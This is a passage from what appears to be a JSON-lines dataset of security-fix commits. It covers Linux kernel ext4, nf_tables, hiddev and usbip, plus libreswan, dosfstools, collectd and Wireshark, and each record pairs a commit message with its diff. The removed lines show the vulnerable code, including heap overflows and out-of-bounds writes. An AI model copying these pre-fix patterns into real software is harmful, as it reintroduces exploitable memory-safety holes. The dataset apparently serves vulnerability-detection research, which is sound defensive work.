EXT4_HT_WRITE_PAGE,\n \t\t\t\t\t\tEXT4_DATA_TRANS_BLOCKS(sb));\n-\t}\n+\t} else\n+\t\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n \n \tif (IS_ERR(handle))\n \t\tresult = VM_FAULT_SIGBUS;\n", "related": false}, {"section": "@@ -228,8 +231,10 @@ static int ext4_dax_fault(struct vm_area_struct *vma, struct vm_fault *vmf)\n \tif (write) {\n \t\tif (!IS_ERR(handle))\n \t\t\text4_journal_stop(handle);\n+\t\tup_read(&EXT4_I(inode)->i_mmap_sem);\n \t\tsb_end_pagefault(sb);\n-\t}\n+\t} else\n+\t\tup_read(&EXT4_I(inode)->i_mmap_sem);\n \n \treturn result;\n }\n", "related": false}, {"section": "@@ -246,10 +251,12 @@ static int ext4_dax_pmd_fault(struct vm_area_struct *vma, unsigned long addr,\n \tif (write) {\n \t\tsb_start_pagefault(sb);\n \t\tfile_update_time(vma->vm_file);\n+\t\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n \t\thandle = ext4_journal_start_sb(sb, EXT4_HT_WRITE_PAGE,\n \t\t\t\text4_chunk_trans_blocks(inode,\n \t\t\t\t\t\t\tPMD_SIZE / PAGE_SIZE));\n-\t}\n+\t} else\n+\t\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n \n \tif (IS_ERR(handle))\n \t\tresult = VM_FAULT_SIGBUS;\n", "related": false}, {"section": "@@ -260,30 +267,71 @@ static int ext4_dax_pmd_fault(struct vm_area_struct *vma, unsigned long addr,\n \tif (write) {\n \t\tif (!IS_ERR(handle))\n \t\t\text4_journal_stop(handle);\n+\t\tup_read(&EXT4_I(inode)->i_mmap_sem);\n \t\tsb_end_pagefault(sb);\n-\t}\n+\t} else\n+\t\tup_read(&EXT4_I(inode)->i_mmap_sem);\n \n \treturn result;\n }\n \n static int ext4_dax_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf)\n {\n-\treturn dax_mkwrite(vma, vmf, ext4_get_block_dax,\n-\t\t\t\text4_end_io_unwritten);\n+\tint err;\n+\tstruct inode *inode = file_inode(vma->vm_file);\n+\n+\tsb_start_pagefault(inode->i_sb);\n+\tfile_update_time(vma->vm_file);\n+\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n+\terr = __dax_mkwrite(vma, vmf, ext4_get_block_dax,\n+\t\t\t ext4_end_io_unwritten);\n+\tup_read(&EXT4_I(inode)->i_mmap_sem);\n+\tsb_end_pagefault(inode->i_sb);\n+\n+\treturn err;\n+}\n+\n+/*\n+ * Handle write fault for VM_MIXEDMAP mappings. Similarly to ext4_dax_mkwrite()\n+ * handler we check for races agaist truncate. Note that since we cycle through\n+ * i_mmap_sem, we are sure that also any hole punching that began before we\n+ * were called is finished by now and so if it included part of the file we\n+ * are working on, our pte will get unmapped and the check for pte_same() in\n+ * wp_pfn_shared() fails. Thus fault gets retried and things work out as\n+ * desired.\n+ */\n+static int ext4_dax_pfn_mkwrite(struct vm_area_struct *vma,\n+\t\t\t\tstruct vm_fault *vmf)\n+{\n+\tstruct inode *inode = file_inode(vma->vm_file);\n+\tstruct super_block *sb = inode->i_sb;\n+\tint ret = VM_FAULT_NOPAGE;\n+\tloff_t size;\n+\n+\tsb_start_pagefault(sb);\n+\tfile_update_time(vma->vm_file);\n+\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n+\tsize = (i_size_read(inode) + PAGE_SIZE - 1) >> PAGE_SHIFT;\n+\tif (vmf->pgoff >= size)\n+\t\tret = VM_FAULT_SIGBUS;\n+\tup_read(&EXT4_I(inode)->i_mmap_sem);\n+\tsb_end_pagefault(sb);\n+\n+\treturn ret;\n }\n \n static const struct vm_operations_struct ext4_dax_vm_ops = {\n \t.fault\t\t= ext4_dax_fault,\n \t.pmd_fault\t= ext4_dax_pmd_fault,\n \t.page_mkwrite\t= ext4_dax_mkwrite,\n-\t.pfn_mkwrite\t= dax_pfn_mkwrite,\n+\t.pfn_mkwrite\t= ext4_dax_pfn_mkwrite,\n };\n #else\n #define ext4_dax_vm_ops\text4_file_vm_ops\n #endif\n \n static const struct vm_operations_struct ext4_file_vm_ops = {\n-\t.fault\t\t= filemap_fault,\n+\t.fault\t\t= ext4_filemap_fault,\n \t.map_pages\t= filemap_map_pages,\n \t.page_mkwrite = ext4_page_mkwrite,\n };", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/netfilter/nf_tables_api.c", "commit_id": "a2f18db0c68fec96631c10cad9384c196e9008ac", "commit_message": "netfilter: nf_tables: fix flush ruleset chain dependencies\n\nJumping between chains doesn't mix well with flush ruleset. Rules\nfrom a different chain and set elements may still refer to us.\n\n[ 353.373791] ------------[ cut here ]------------\n[ 353.373845] kernel BUG at net/netfilter/nf_tables_api.c:1159!\n[ 353.373896] invalid opcode: 0000 [#1] SMP\n[ 353.373942] Modules linked in: intel_powerclamp uas iwldvm iwlwifi\n[ 353.374017] CPU: 0 PID: 6445 Comm: 31c3.nft Not tainted 3.18.0 #98\n[ 353.374069] Hardware name: LENOVO 5129CTO/5129CTO, BIOS 6QET47WW (1.17 ) 07/14/2010\n[...]\n[ 353.375018] Call Trace:\n[ 353.375046] [] ? nf_tables_commit+0x381/0x540\n[ 353.375101] [] nfnetlink_rcv+0x3d8/0x4b0\n[ 353.375150] [] netlink_unicast+0x105/0x1a0\n[ 353.375200] [] netlink_sendmsg+0x32e/0x790\n[ 353.375253] [] sock_sendmsg+0x8e/0xc0\n[ 353.375300] [] ? move_addr_to_kernel.part.20+0x19/0x70\n[ 353.375357] [] ? move_addr_to_kernel+0x19/0x30\n[ 353.375410] [] ? verify_iovec+0x42/0xd0\n[ 353.375459] [] ___sys_sendmsg+0x3f0/0x400\n[ 353.375510] [] ? native_sched_clock+0x2a/0x90\n[ 353.375563] [] ? acct_account_cputime+0x17/0x20\n[ 353.375616] [] ? account_user_time+0x88/0xa0\n[ 353.375667] [] __sys_sendmsg+0x3d/0x80\n[ 353.375719] [] ? int_check_syscall_exit_work+0x34/0x3d\n[ 353.375776] [] SyS_sendmsg+0xd/0x20\n[ 353.375823] [] system_call_fastpath+0x16/0x1b\n\nRelease objects in this order: rules -> sets -> chains -> tables, to\nmake sure no references to chains are held anymore.\n\nReported-by: Asbjoern Sloth Toennesen \nSigned-off-by: Pablo Neira Ayuso ", "patch": "@@ -713,16 +713,12 @@ static int nft_flush_table(struct nft_ctx *ctx)\n \tstruct nft_chain *chain, *nc;\n \tstruct nft_set *set, *ns;\n \n-\tlist_for_each_entry_safe(chain, nc, &ctx->table->chains, list) {\n+\tlist_for_each_entry(chain, &ctx->table->chains, list) {\n \t\tctx->chain = chain;\n \n \t\terr = nft_delrule_by_chain(ctx);\n \t\tif (err < 0)\n \t\t\tgoto out;\n-\n-\t\terr = nft_delchain(ctx);\n-\t\tif (err < 0)\n-\t\t\tgoto out;\n \t}\n \n \tlist_for_each_entry_safe(set, ns, &ctx->table->sets, list) {\n@@ -735,6 +731,14 @@ static int nft_flush_table(struct nft_ctx *ctx)\n \t\t\tgoto out;\n \t}\n \n+\tlist_for_each_entry_safe(chain, nc, &ctx->table->chains, list) {\n+\t\tctx->chain = chain;\n+\n+\t\terr = nft_delchain(ctx);\n+\t\tif (err < 0)\n+\t\t\tgoto out;\n+\t}\n+\n \terr = nft_deltable(ctx);\n out:\n \treturn err;", "sections": [{"section": "@@ -713,16 +713,12 @@ static int nft_flush_table(struct nft_ctx *ctx)\n \tstruct nft_chain *chain, *nc;\n \tstruct nft_set *set, *ns;\n \n-\tlist_for_each_entry_safe(chain, nc, &ctx->table->chains, list) {\n+\tlist_for_each_entry(chain, &ctx->table->chains, list) {\n \t\tctx->chain = chain;\n \n \t\terr = nft_delrule_by_chain(ctx);\n \t\tif (err < 0)\n \t\t\tgoto out;\n-\n-\t\terr = nft_delchain(ctx);\n-\t\tif (err < 0)\n-\t\t\tgoto out;\n \t}\n \n \tlist_for_each_entry_safe(set, ns, &ctx->table->sets, list) {\n", "related": false}, {"section": "@@ -735,6 +731,14 @@ static int nft_flush_table(struct nft_ctx *ctx)\n \t\t\tgoto out;\n \t}\n \n+\tlist_for_each_entry_safe(chain, nc, &ctx->table->chains, list) {\n+\t\tctx->chain = chain;\n+\n+\t\terr = nft_delchain(ctx);\n+\t\tif (err < 0)\n+\t\t\tgoto out;\n+\t}\n+\n \terr = nft_deltable(ctx);\n out:\n \treturn err;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/hid/usbhid/hiddev.c", "commit_id": "93a2001bdfd5376c3dc2158653034c20392d15c5", "commit_message": "HID: hiddev: validate num_values for HIDIOCGUSAGES, HIDIOCSUSAGES commands\n\nThis patch validates the num_values parameter from userland during the\nHIDIOCGUSAGES and HIDIOCSUSAGES commands. Previously, if the report id was set\nto HID_REPORT_ID_UNKNOWN, we would fail to validate the num_values parameter\nleading to a heap overflow.\n\nCc: stable@vger.kernel.org\nSigned-off-by: Scott Bauer \nSigned-off-by: Jiri Kosina ", "patch": "@@ -516,13 +516,13 @@ static noinline int hiddev_ioctl_usage(struct hiddev *hiddev, unsigned int cmd,\n \t\t\t\t\tgoto inval;\n \t\t\t} else if (uref->usage_index >= field->report_count)\n \t\t\t\tgoto inval;\n-\n-\t\t\telse if ((cmd == HIDIOCGUSAGES || cmd == HIDIOCSUSAGES) &&\n-\t\t\t\t (uref_multi->num_values > HID_MAX_MULTI_USAGES ||\n-\t\t\t\t uref->usage_index + uref_multi->num_values > field->report_count))\n-\t\t\t\tgoto inval;\n \t\t}\n \n+\t\tif ((cmd == HIDIOCGUSAGES || cmd == HIDIOCSUSAGES) &&\n+\t\t (uref_multi->num_values > HID_MAX_MULTI_USAGES ||\n+\t\t uref->usage_index + uref_multi->num_values > field->report_count))\n+\t\t\tgoto inval;\n+\n \t\tswitch (cmd) {\n \t\tcase HIDIOCGUSAGE:\n \t\t\turef->value = field->value[uref->usage_index];", "sections": [{"section": "@@ -516,13 +516,13 @@ static noinline int hiddev_ioctl_usage(struct hiddev *hiddev, unsigned int cmd,\n \t\t\t\t\tgoto inval;\n \t\t\t} else if (uref->usage_index >= field->report_count)\n \t\t\t\tgoto inval;\n-\n-\t\t\telse if ((cmd == HIDIOCGUSAGES || cmd == HIDIOCSUSAGES) &&\n-\t\t\t\t (uref_multi->num_values > HID_MAX_MULTI_USAGES ||\n-\t\t\t\t uref->usage_index + uref_multi->num_values > field->report_count))\n-\t\t\t\tgoto inval;\n \t\t}\n \n+\t\tif ((cmd == HIDIOCGUSAGES || cmd == HIDIOCSUSAGES) &&\n+\t\t (uref_multi->num_values > HID_MAX_MULTI_USAGES ||\n+\t\t uref->usage_index + uref_multi->num_values > field->report_count))\n+\t\t\tgoto inval;\n+\n \t\tswitch (cmd) {\n \t\tcase HIDIOCGUSAGE:\n \t\t\turef->value = field->value[uref->usage_index];", "related": false}]} +{"owner": "libreswan", "repo": "libreswan", "language": "C", "file_name": "programs/pluto/ikev1.c", "commit_id": "152d6d95632d8b9477c170f1de99bcd86d7fb1d6", "commit_message": "IKEv1: packet retransmit fixes for Main/Aggr/Xauth modes\n\n- Do not schedule retransmits for inI1outR1 packets (prevent DDOS)\n- Do schedule retransmits for XAUTH packets", "patch": "@@ -245,7 +245,7 @@ static const struct state_microcode v1_state_microcode_table[] = {\n \t{ STATE_MAIN_R0, STATE_MAIN_R1,\n \t SMF_ALL_AUTH | SMF_REPLY,\n \t P(SA), P(VID) | P(CR), PT(NONE),\n-\t EVENT_v1_RETRANSMIT, main_inI1_outR1 },\n+\t EVENT_NULL, main_inI1_outR1 },\n \n \t/* STATE_MAIN_I1: R1 --> I2\n \t * HDR, SA --> auth dependent\n@@ -394,7 +394,7 @@ static const struct state_microcode v1_state_microcode_table[] = {\n \t{ STATE_AGGR_R0, STATE_AGGR_R1,\n \t SMF_PSK_AUTH | SMF_DS_AUTH | SMF_REPLY,\n \t P(SA) | P(KE) | P(NONCE) | P(ID), P(VID) | P(NATD_RFC), PT(NONE),\n-\t EVENT_v1_RETRANSMIT, aggr_inI1_outR1 },\n+\t EVENT_NULL, aggr_inI1_outR1 },\n \n \t/* STATE_AGGR_I1:\n \t * SMF_PSK_AUTH: HDR, SA, KE, Nr, IDir, HASH_R\n@@ -571,12 +571,12 @@ static const struct state_microcode v1_state_microcode_table[] = {\n \t{ STATE_XAUTH_I0, STATE_XAUTH_I1,\n \t SMF_ALL_AUTH | SMF_ENCRYPTED | SMF_REPLY | SMF_RELEASE_PENDING_P2,\n \t P(MCFG_ATTR) | P(HASH), P(VID), PT(HASH),\n-\t EVENT_SA_REPLACE, xauth_inI0 },\n+\t EVENT_v1_RETRANSMIT, xauth_inI0 },\n \n \t{ STATE_XAUTH_I1, STATE_MAIN_I4,\n \t SMF_ALL_AUTH | SMF_ENCRYPTED | SMF_REPLY | SMF_RELEASE_PENDING_P2,\n \t P(MCFG_ATTR) | P(HASH), P(VID), PT(HASH),\n-\t EVENT_SA_REPLACE, xauth_inI1 },\n+\t EVENT_v1_RETRANSMIT, xauth_inI1 },\n \n #undef P\n #undef PT", "sections": [{"section": "@@ -245,7 +245,7 @@ static const struct state_microcode v1_state_microcode_table[] = {\n \t{ STATE_MAIN_R0, STATE_MAIN_R1,\n \t SMF_ALL_AUTH | SMF_REPLY,\n \t P(SA), P(VID) | P(CR), PT(NONE),\n-\t EVENT_v1_RETRANSMIT, main_inI1_outR1 },\n+\t EVENT_NULL, main_inI1_outR1 },\n \n \t/* STATE_MAIN_I1: R1 --> I2\n \t * HDR, SA --> auth dependent\n", "related": false}, {"section": "@@ -394,7 +394,7 @@ static const struct state_microcode v1_state_microcode_table[] = {\n \t{ STATE_AGGR_R0, STATE_AGGR_R1,\n \t SMF_PSK_AUTH | SMF_DS_AUTH | SMF_REPLY,\n \t P(SA) | P(KE) | P(NONCE) | P(ID), P(VID) | P(NATD_RFC), PT(NONE),\n-\t EVENT_v1_RETRANSMIT, aggr_inI1_outR1 },\n+\t EVENT_NULL, aggr_inI1_outR1 },\n \n \t/* STATE_AGGR_I1:\n \t * SMF_PSK_AUTH: HDR, SA, KE, Nr, IDir, HASH_R\n", "related": false}, {"section": "@@ -571,12 +571,12 @@ static const struct state_microcode v1_state_microcode_table[] = {\n \t{ STATE_XAUTH_I0, STATE_XAUTH_I1,\n \t SMF_ALL_AUTH | SMF_ENCRYPTED | SMF_REPLY | SMF_RELEASE_PENDING_P2,\n \t P(MCFG_ATTR) | P(HASH), P(VID), PT(HASH),\n-\t EVENT_SA_REPLACE, xauth_inI0 },\n+\t EVENT_v1_RETRANSMIT, xauth_inI0 },\n \n \t{ STATE_XAUTH_I1, STATE_MAIN_I4,\n \t SMF_ALL_AUTH | SMF_ENCRYPTED | SMF_REPLY | SMF_RELEASE_PENDING_P2,\n \t P(MCFG_ATTR) | P(HASH), P(VID), PT(HASH),\n-\t EVENT_SA_REPLACE, xauth_inI1 },\n+\t EVENT_v1_RETRANSMIT, xauth_inI1 },\n \n #undef P\n #undef PT", "related": false}]} +{"owner": "dosfstools", "repo": "dosfstools", "language": "C", "file_name": "src/fat.c", "commit_id": "07908124838afcc99c577d1d3e84cef2dbd39cb7", "commit_message": "set_fat(): Fix off-by-2 error leading to corruption in FAT12\n\nIn FAT12 two 12 bit entries are combined to a 24 bit value (three\nbytes). Therefore, when an even numbered FAT entry is set in FAT12, it\nmust be be combined with the following entry. To prevent accessing\nbeyond the end of the FAT array, it must be checked that the cluster is\nnot the last one.\n\nPreviously, the check tested that the requested cluster was equal to\nfs->clusters - 1. However, fs->clusters is the number of data clusters\nnot including the two reserved FAT entries at the start so the test\ntriggered two clusters early.\n\nIf the third to last entry was written on a FAT12 filesystem with an\nodd number of clusters, the second to last entry would be corrupted.\nThis corruption may also lead to invalid memory accesses when the\ncorrupted entry becomes out of bounds and is used later.\n\nChange the test to fs->clusters + 1 to fix.\n\nReported-by: Hanno Böck\nSigned-off-by: Andreas Bombe ", "patch": "@@ -205,7 +205,7 @@ void set_fat(DOS_FS * fs, uint32_t cluster, int32_t new)\n \t data[1] = new >> 4;\n \t} else {\n \t FAT_ENTRY subseqEntry;\n-\t if (cluster != fs->clusters - 1)\n+\t if (cluster != fs->clusters + 1)\n \t\tget_fat(&subseqEntry, fs->fat, cluster + 1, fs);\n \t else\n \t\tsubseqEntry.value = 0;", "sections": [{"section": "@@ -205,7 +205,7 @@ void set_fat(DOS_FS * fs, uint32_t cluster, int32_t new)\n \t data[1] = new >> 4;\n \t} else {\n \t FAT_ENTRY subseqEntry;\n-\t if (cluster != fs->clusters - 1)\n+\t if (cluster != fs->clusters + 1)\n \t\tget_fat(&subseqEntry, fs->fat, cluster + 1, fs);\n \t else\n \t\tsubseqEntry.value = 0;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/usb/usbip/usbip_common.c", "commit_id": "b348d7dddb6c4fbfc810b7a0626e8ec9e29f7cbb", "commit_message": "USB: usbip: fix potential out-of-bounds write\n\nFix potential out-of-bounds write to urb->transfer_buffer\nusbip handles network communication directly in the kernel. When receiving a\npacket from its peer, usbip code parses headers according to protocol. As\npart of this parsing urb->actual_length is filled. Since the input for\nurb->actual_length comes from the network, it should be treated as untrusted.\nAny entity controlling the network may put any value in the input and the\npreallocated urb->transfer_buffer may not be large enough to hold the data.\nThus, the malicious entity is able to write arbitrary data to kernel memory.\n\nSigned-off-by: Ignat Korchagin \nSigned-off-by: Greg Kroah-Hartman ", "patch": "@@ -741,6 +741,17 @@ int usbip_recv_xbuff(struct usbip_device *ud, struct urb *urb)\n \tif (!(size > 0))\n \t\treturn 0;\n \n+\tif (size > urb->transfer_buffer_length) {\n+\t\t/* should not happen, probably malicious packet */\n+\t\tif (ud->side == USBIP_STUB) {\n+\t\t\tusbip_event_add(ud, SDEV_EVENT_ERROR_TCP);\n+\t\t\treturn 0;\n+\t\t} else {\n+\t\t\tusbip_event_add(ud, VDEV_EVENT_ERROR_TCP);\n+\t\t\treturn -EPIPE;\n+\t\t}\n+\t}\n+\n \tret = usbip_recv(ud->tcp_socket, urb->transfer_buffer, size);\n \tif (ret != size) {\n \t\tdev_err(&urb->dev->dev, \"recv xbuf, %d\\n\", ret);", "sections": [{"section": "@@ -741,6 +741,17 @@ int usbip_recv_xbuff(struct usbip_device *ud, struct urb *urb)\n \tif (!(size > 0))\n \t\treturn 0;\n \n+\tif (size > urb->transfer_buffer_length) {\n+\t\t/* should not happen, probably malicious packet */\n+\t\tif (ud->side == USBIP_STUB) {\n+\t\t\tusbip_event_add(ud, SDEV_EVENT_ERROR_TCP);\n+\t\t\treturn 0;\n+\t\t} else {\n+\t\t\tusbip_event_add(ud, VDEV_EVENT_ERROR_TCP);\n+\t\t\treturn -EPIPE;\n+\t\t}\n+\t}\n+\n \tret = usbip_recv(ud->tcp_socket, urb->transfer_buffer, size);\n \tif (ret != size) {\n \t\tdev_err(&urb->dev->dev, \"recv xbuf, %d\\n\", ret);", "related": false}]} +{"owner": "collectd", "repo": "collectd", "language": "C", "file_name": "src/network.c", "commit_id": "b589096f907052b3a4da2b9ccc9b0e2e888dfc18", "commit_message": "network plugin: Fix heap overflow in parse_packet().\n\nEmilien Gaspar has identified a heap overflow in parse_packet(), the\nfunction used by the network plugin to parse incoming network packets.\n\nThis is a vulnerability in collectd, though the scope is not clear at\nthis point. At the very least specially crafted network packets can be\nused to crash the daemon. We can't rule out a potential remote code\nexecution though.\n\nFixes: CVE-2016-6254", "patch": "@@ -1435,6 +1435,7 @@ static int parse_packet (sockent_t *se, /* {{{ */\n \t\t\t\tprinted_ignore_warning = 1;\n \t\t\t}\n \t\t\tbuffer = ((char *) buffer) + pkg_length;\n+\t\t\tbuffer_size -= (size_t) pkg_length;\n \t\t\tcontinue;\n \t\t}\n #endif /* HAVE_LIBGCRYPT */\n@@ -1462,6 +1463,7 @@ static int parse_packet (sockent_t *se, /* {{{ */\n \t\t\t\tprinted_ignore_warning = 1;\n \t\t\t}\n \t\t\tbuffer = ((char *) buffer) + pkg_length;\n+\t\t\tbuffer_size -= (size_t) pkg_length;\n \t\t\tcontinue;\n \t\t}\n #endif /* HAVE_LIBGCRYPT */\n@@ -1603,6 +1605,7 @@ static int parse_packet (sockent_t *se, /* {{{ */\n \t\t\tDEBUG (\"network plugin: parse_packet: Unknown part\"\n \t\t\t\t\t\" type: 0x%04hx\", pkg_type);\n \t\t\tbuffer = ((char *) buffer) + pkg_length;\n+\t\t\tbuffer_size -= (size_t) pkg_length;\n \t\t}\n \t} /* while (buffer_size > sizeof (part_header_t)) */\n ", "sections": [{"section": "@@ -1435,6 +1435,7 @@ static int parse_packet (sockent_t *se, /* {{{ */\n \t\t\t\tprinted_ignore_warning = 1;\n \t\t\t}\n \t\t\tbuffer = ((char *) buffer) + pkg_length;\n+\t\t\tbuffer_size -= (size_t) pkg_length;\n \t\t\tcontinue;\n \t\t}\n #endif /* HAVE_LIBGCRYPT */\n", "related": false}, {"section": "@@ -1462,6 +1463,7 @@ static int parse_packet (sockent_t *se, /* {{{ */\n \t\t\t\tprinted_ignore_warning = 1;\n \t\t\t}\n \t\t\tbuffer = ((char *) buffer) + pkg_length;\n+\t\t\tbuffer_size -= (size_t) pkg_length;\n \t\t\tcontinue;\n \t\t}\n #endif /* HAVE_LIBGCRYPT */\n", "related": false}, {"section": "@@ -1603,6 +1605,7 @@ static int parse_packet (sockent_t *se, /* {{{ */\n \t\t\tDEBUG (\"network plugin: parse_packet: Unknown part\"\n \t\t\t\t\t\" type: 0x%04hx\", pkg_type);\n \t\t\tbuffer = ((char *) buffer) + pkg_length;\n+\t\t\tbuffer_size -= (size_t) pkg_length;\n \t\t}\n \t} /* while (buffer_size > sizeof (part_header_t)) */\n ", "related": false}]} +{"owner": "wireshark", "repo": "wireshark", "language": "C", "file_name": "epan/dissectors/packet-umts_fp.c", "commit_id": "7d7190695ce2ff269fdffb04e87139995cde21f4", "commit_message": "UMTS_FP: fix handling reserved C/T value\n\nThe spec puts the reserved value at 0xf but our internal table has 'unknown' at\n0; since all the other values seem to be offset-by-one, just take the modulus\n0xf to avoid running off the end of the table.\n\nBug: 12191\nChange-Id: I83c8fb66797bbdee52a2246fb1eea6e37cbc7eb0\nReviewed-on: https://code.wireshark.org/review/15722\nReviewed-by: Evan Huus \nPetri-Dish: Evan Huus \nTested-by: Petri Dish Buildbot \nReviewed-by: Michael Mann ", "patch": "@@ -4098,11 +4098,11 @@ fp_set_per_packet_inf_from_conv(umts_fp_conversation_info_t *p_conv_data,\n \n /* Peek at C/T, different RLC params for different logical channels */\n /*C/T is 4 bits according to 3GPP TS 25.321, paragraph 9.2.1, from MAC header (not FP)*/\n- c_t = tvb_get_bits8(tvb, tb_bit_off/*(2+p_conv_data->num_dch_in_flow)*8*/, 4); /* c_t = tvb_get_guint8(tvb, offset);*/\n- macinf->lchid[j+chan] = c_t+1;\n+ c_t = (tvb_get_bits8(tvb, tb_bit_off/*(2+p_conv_data->num_dch_in_flow)*8*/, 4) + 1) % 0xf; /* c_t = tvb_get_guint8(tvb, offset);*/\n+ macinf->lchid[j+chan] = c_t;\n \n- macinf->content[j+chan] = lchId_type_table[c_t+1]; /*Base MAC content on logical channel id (Table is in packet-nbap.h)*/\n- rlcinf->mode[j+chan] = lchId_rlc_map[c_t+1]; /*Based RLC mode on logical channel id*/\n+ macinf->content[j+chan] = lchId_type_table[c_t]; /*Base MAC content on logical channel id (Table is in packet-nbap.h)*/\n+ rlcinf->mode[j+chan] = lchId_rlc_map[c_t]; /*Based RLC mode on logical channel id*/\n }\n } else {\n fake_lchid = make_fake_lchid(pinfo, p_conv_data->dchs_in_flow_list[chan]);", "sections": [{"section": "@@ -4098,11 +4098,11 @@ fp_set_per_packet_inf_from_conv(umts_fp_conversation_info_t *p_conv_data,\n \n /* Peek at C/T, different RLC params for different logical channels */\n /*C/T is 4 bits according to 3GPP TS 25.321, paragraph 9.2.1, from MAC header (not FP)*/\n- c_t = tvb_get_bits8(tvb, tb_bit_off/*(2+p_conv_data->num_dch_in_flow)*8*/, 4); /* c_t = tvb_get_guint8(tvb, offset);*/\n- macinf->lchid[j+chan] = c_t+1;\n+ c_t = (tvb_get_bits8(tvb, tb_bit_off/*(2+p_conv_data->num_dch_in_flow)*8*/, 4) + 1) % 0xf; /* c_t = tvb_get_guint8(tvb, offset);*/\n+ macinf->lchid[j+chan] = c_t;\n \n- macinf->content[j+chan] = lchId_type_table[c_t+1]; /*Base MAC content on logical channel id (Table is in packet-nbap.h)*/\n- rlcinf->mode[j+chan] = lchId_rlc_map[c_t+1]; /*Based RLC mode on logical channel id*/\n+ macinf->content[j+chan] = lchId_type_table[c_t]; /*Base MAC content on logical channel id (Table is in packet-nbap.h)*/\n+ rlcinf->mode[j+chan] = lchId_rlc_map[c_t]; /*Based RLC mode on logical channel id*/\n }\n } else {\n fake_lchid = make_fake_lchid(pinfo, p_conv_data->dchs_in_flow_list[chan]);", "related": false}]} +{"owner": "wireshark", "repo": "wireshark", "language": "C", "file_name": "wiretap/cosine.c", "commit_id": "a66628e425db725df1ac52a3c573a03357060ddd", "commit_message": "Don't treat the packet length as unsigned.\n\nThe scanf family of functions are as annoyingly bad at handling unsigned\nnumbers as strtoul() is - both of them are perfectly willing to accept a\nvalue beginning with a negative sign as an unsigned value. When using\nstrtoul(), you can compensate for this by explicitly checking for a '-'\nas the first character of the string, but you can't do that with\nsscanf().\n\nSo revert to having pkt_len be signed, and scanning it with %d, but\ncheck for a negative value and fail if we see a negative value.\n\nBug: 12395\nChange-Id: I43b458a73b0934e9a5c2c89d34eac5a8f21a7455\nReviewed-on: https://code.wireshark.org/review/15223\nReviewed-by: Guy Harris ", "patch": "@@ -330,8 +330,7 @@ parse_cosine_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer *buf,\n {\n \tunion wtap_pseudo_header *pseudo_header = &phdr->pseudo_header;\n \tint\tnum_items_scanned;\n-\tint\tyy, mm, dd, hr, min, sec, csec;\n-\tguint\tpkt_len;\n+\tint\tyy, mm, dd, hr, min, sec, csec, pkt_len;\n \tint\tpro, off, pri, rm, error;\n \tguint\tcode1, code2;\n \tchar\tif_name[COSINE_MAX_IF_NAME_LEN] = \"\", direction[6] = \"\";\n@@ -343,7 +342,7 @@ parse_cosine_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer *buf,\n \t\t &yy, &mm, &dd, &hr, &min, &sec, &csec) == 7) {\n \t\t/* appears to be output to a control blade */\n \t\tnum_items_scanned = sscanf(line,\n-\t\t \"%4d-%2d-%2d,%2d:%2d:%2d.%9d: %5s (%127[A-Za-z0-9/:]), Length:%9u, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]\",\n+\t\t \"%4d-%2d-%2d,%2d:%2d:%2d.%9d: %5s (%127[A-Za-z0-9/:]), Length:%9d, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]\",\n \t\t\t&yy, &mm, &dd, &hr, &min, &sec, &csec,\n \t\t\t\t direction, if_name, &pkt_len,\n \t\t\t\t &pro, &off, &pri, &rm, &error,\n@@ -357,7 +356,7 @@ parse_cosine_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer *buf,\n \t} else {\n \t\t/* appears to be output to PE */\n \t\tnum_items_scanned = sscanf(line,\n-\t\t \"%5s (%127[A-Za-z0-9/:]), Length:%9u, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]\",\n+\t\t \"%5s (%127[A-Za-z0-9/:]), Length:%9d, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]\",\n \t\t\t\t direction, if_name, &pkt_len,\n \t\t\t\t &pro, &off, &pri, &rm, &error,\n \t\t\t\t &code1, &code2);\n@@ -369,6 +368,11 @@ parse_cosine_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer *buf,\n \t\t}\n \t\tyy = mm = dd = hr = min = sec = csec = 0;\n \t}\n+\tif (pkt_len < 0) {\n+\t\t*err = WTAP_ERR_BAD_FILE;\n+\t\t*err_info = g_strdup(\"cosine: packet header has a negative packet length\");\n+\t\treturn FALSE;\n+\t}\n \tif (pkt_len > WTAP_MAX_PACKET_SIZE) {\n \t\t/*\n \t\t * Probably a corrupt capture file; don't blow up trying", "sections": [{"section": "@@ -330,8 +330,7 @@ parse_cosine_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer *buf,\n {\n \tunion wtap_pseudo_header *pseudo_header = &phdr->pseudo_header;\n \tint\tnum_items_scanned;\n-\tint\tyy, mm, dd, hr, min, sec, csec;\n-\tguint\tpkt_len;\n+\tint\tyy, mm, dd, hr, min, sec, csec, pkt_len;\n \tint\tpro, off, pri, rm, error;\n \tguint\tcode1, code2;\n \tchar\tif_name[COSINE_MAX_IF_NAME_LEN] = \"\", direction[6] = \"\";\n", "related": true}, {"section": "@@ -343,7 +342,7 @@ parse_cosine_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer *buf,\n \t\t &yy, &mm, &dd, &hr, &min, &sec, &csec) == 7) {\n \t\t/* appears to be output to a control blade */\n \t\tnum_items_scanned = sscanf(line,\n-\t\t \"%4d-%2d-%2d,%2d:%2d:%2d.%9d: %5s (%127[A-Za-z0-9/:]), Length:%9u, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]\",\n+\t\t \"%4d-%2d-%2d,%2d:%2d:%2d.%9d: %5s (%127[A-Za-z0-9/:]), Length:%9d, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]\",\n \t\t\t&yy, &mm, &dd, &hr, &min, &sec, &csec,\n \t\t\t\t direction, 